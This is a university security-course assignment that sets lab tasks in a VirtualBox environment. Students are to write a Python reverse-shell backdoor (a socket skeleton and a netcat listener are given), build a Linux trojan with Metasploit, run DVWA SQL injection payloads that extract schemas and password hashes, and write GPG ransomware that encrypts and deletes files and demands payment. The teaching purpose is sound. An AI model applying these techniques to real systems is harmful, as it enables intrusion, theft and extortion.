Assignment

Due: SGT 11:55 pm 31 August 2022
Total Mark: 100 (30% of Final Mark)

General Instructions: Please read the following instructions carefully.

- You must create a folder (directory) for each question. – You will need to create seven folders named as Q1,...,Q4.
- Answers for each question (which can be essays) need to be saved in each folder.
- You need to have a VirtualBox installed on your personal laptop or desktop. In the VirtualBox, you need to install at least Kali, Ubuntu and Metasploitable2 virtual machines.
- You will have to take several screenshots of the results if asked. Those screenshots will be checked thoroughly using hash checksum. If the same checksum will be resulted from any files submitted by two different students, all of them will get zero mark for the assignment.

1. Make Your Own Backdoor Trojan (35 marks)

   Assume that as a hacker, you want to create backdoor Trojan, which will be delivered to the victim, assume to be an **Ubuntu** user. If this backdoor is executed, the victim's machine will connect to your machine that runs a Kali Linux. Once you've got a connection, you can type any non-interactive Unix commands with options, which will be sent to the victim's machine and executed there. In other words, you get a "reverse shell".
   (**Note that "ls" and "pwd" are examples of non-interactive commands while "cd (change directories)" or text editors such as "vi" and "gedit" are interactive ones.** You are allowed to make your backdoor interactive commands usable, which could be considered favourably during marking.)

   Your task is to write a Python program to implement this backdoor. There are a few assumptions on your program. Read the following carefully:

   a) On your Kali machine, you (as a hacker) will run netcat to wait for incoming traffic. That is, you run `nc -v -l -p 5555` on the terminal.

   b) The backdoor Trojan is, then, a *client* Python program that will connect to your Kali machine waiting for the connection.

   c) As this is (going to be) malware, you do not need to think about the sanitization of the Linux commands. (Refer to Task 1 in Lab6 Part1.)

d) **You should start with the following Python code, which is a client program based on Python socket package (**https://docs.python.org/3/howto/sockets.html **).** – The code given below just connects to the server, receives and displays a line of string which is inputted by the server's user.

You should modify this code so that Linux commands you type will be sent to the victim's Ubuntu machine, executed there, and the result will be sent back to your Kali machine):

```
import socket

kali_ip = "10.0.2.15" #This IP can be different on your virtual box
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((kali_ip, 5555))
s.send("Connected!\n")

received_data = s.recv(1024).decode("utf-8").strip()
print(received_data)

s.close()
```

Hint: Save the above code as client.py. On your kali machine, run the netcat (nc) command described above. On the Ubuntu machine, run client.py and see what happens.

e) Submit your Python source code and *readme* file which explains how to run your program.

2. Reverse shell for Linux (15 marks)

In the series of our labs, we learnt how to create a reverse shell for a Windows machine. (We used msfvenom to generate a backdoor and exploit it using Metasploit, creating a reverse shell.) It is harder to create a reverse shell for Linux, but it is not impossible. Your task is to refer to the following web article and create a reverse shell for Ubuntu (Linux) VM.

https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/

Once you are successful, take screenshots of the following events:

a) An event that your Ubuntu VM is successfully connecting to your Kali VM; name your screenshot as Q2-a.jpg.
b) An event that uname -a is run on Metasploit; name your screenshot as Q2-b.jpg.
c) An event that ls -la is run on Metasploit; name your screenshot as Q2-c.jpg.
d) A screenshot when ifconfig is run on Metasploit; name your screenshot as Q2-d.jpg.

You can use other graphic file formats, but make sure that it can be clearly visible. Save all your files in the folder Q2.

Additional notes on Q2:

a) The freesweep software's current version is slightly different from the one described in the web page. You need to consider this.
b) You should put the backdoor (freesweep.deb) in the directory /var/www/html (not /var/www/ as described in the article).
c) When you run Metasploit, you do not need to follow the instruction given in the web article. You can run Metasploit as we did in the lab, i.e. you run commands one by one: msfconsole → use exploit/multi/handler → … ,etc.
d) Depending on the version of Ubuntu you are running, your Ubuntu VM may freeze upon connecting to Kali VM (resulting in a reverse shall.) Although your Ubuntu VM is frozen, the reverse shell will be working fine. After you take screenshots, you may need to turn off Ubuntu VM to close connection.

3. Further SQL injection attack (15 marks)

Turn on Metasploitable2 VM. On Kali VM, open a browser and type Meatsploitable2 VM's IP to connect to DVWA. In the DVWA, change the "DVWA Security" setting to "low". Then go to SQL Injection section and complete the following tasks.

a) In the input field of **User ID**, type ' order by 1 #. You will not get any error. This means you have at least one column in the database. Instead of 1, try any other number, say 10 (i.e., ' order by 10 #. You will get an error this time. This means 10 is too big for the number of columns. Keep trying this way to find out the exact number of columns. How many columns are there? Your answer needs to be saved in Q3-a.txt.

   From questions b) to f), the number of null = the number of columns - 1.

b) Now enter ' union select null,…,null, schema_name from information_schema.schemata # . Here, you will get all the database schemata in the system. (Roughly speaking, a database schema is an organization of data in a database.) Take a screenshot of your result and name it as Q3-b.jpg.
c) Now enter ' union select null,…,null, database()# . This will give you a name of the schema you are using. What is it? Your answer needs to be saved in Q3-c.txt.
d) Now enter ' union select null,…,null, table_name from information_schema.tables where table_schema ='answer from

question c)' # . This will give you all the table names of the database schema you are using (the name of this schema is your answer for question c)). Take a screenshot of your result and name it as Q3-d.jpg.

e) Now enter ' union select null,…,null, column_name from information_schema.columns where table_name ='users' # . This will give you all the column names of the database schema you are using (the name of this schema is your answer for question c)). Take a screenshot of your result and name it as Q3-e.jpg.

f) In this question, retrieve first name of each user and a (hashed) password from the 'users' table. The structure for this SQL injection is similar: ' union select … from users (Note that you do not need to use "where" syntax in this case. Replace … with appropriate items.) Take a screenshot of your result and name it as Q3-f.jpg.

You can use other graphic file formats, but make sure that it can be clearly visible. Save all your files in the folder Q3.

4. Creating ransomware (35 marks)

In this question, your task is to create a simple ransomware, which is a Python program. The assumption is the following: 1) An attacker breaks into a victim's machine, which can run GPG; 2) the attacker put her public key in the victim's machine; 3) the victim has a file named important.txt in his root directory (You can write anything in important.txt.)

The ransomware should perform the following:

1) It asks the attacker to type a key (for symmetric encryption) and saves it to a file named key.txt.
2) Then it encrypts the file important.txt using the key that the attacker selected in step 1); the format of the resulting ciphertext should be ASCII so that it has a file extension .asc at the end. - We call this ciphertext `encrypted_message.asc`.
3) The file key.txt will be encrypted using the attacker's public key; the format of the resulting ciphertext should be ASCII so that it has a file extension .asc at the end. - We call this ciphertext `encrypted_key.asc`.
4) The file key.txt will be deleted.
5) The file important.txt will be deleted
6) It will finally display a message for ransom "Your file important.txt is encrypted. To decrypt it, you need to pay me $1,000 and send `encrypted_key.asc` to me."

Create a Python program that does the above steps. You name your script as ransom and save it together with your public key (the attacker's public key) in the folder Q4.

Note 1: In step 2), you do not have to extract the key from key.txt. When GPG asks a key for symmetric encryption, you can enter the same key you have saved in key.txt.

Note 2: As this is (going to be) malware, you do not need to think about the sanitization of the Linux commands. (Refer to Task 1 in Lab6 Part1.)

How to submit

Put your folders Q1,…,Q4 to one folder named as your surname followed by a UOW student number, e.g. Greg5284611. Then, compress this folder to make one zip file. – Note that only **zip** format will be accepted and other format may result in zero mark for your assignment. Submit your (zip) file through Moodle.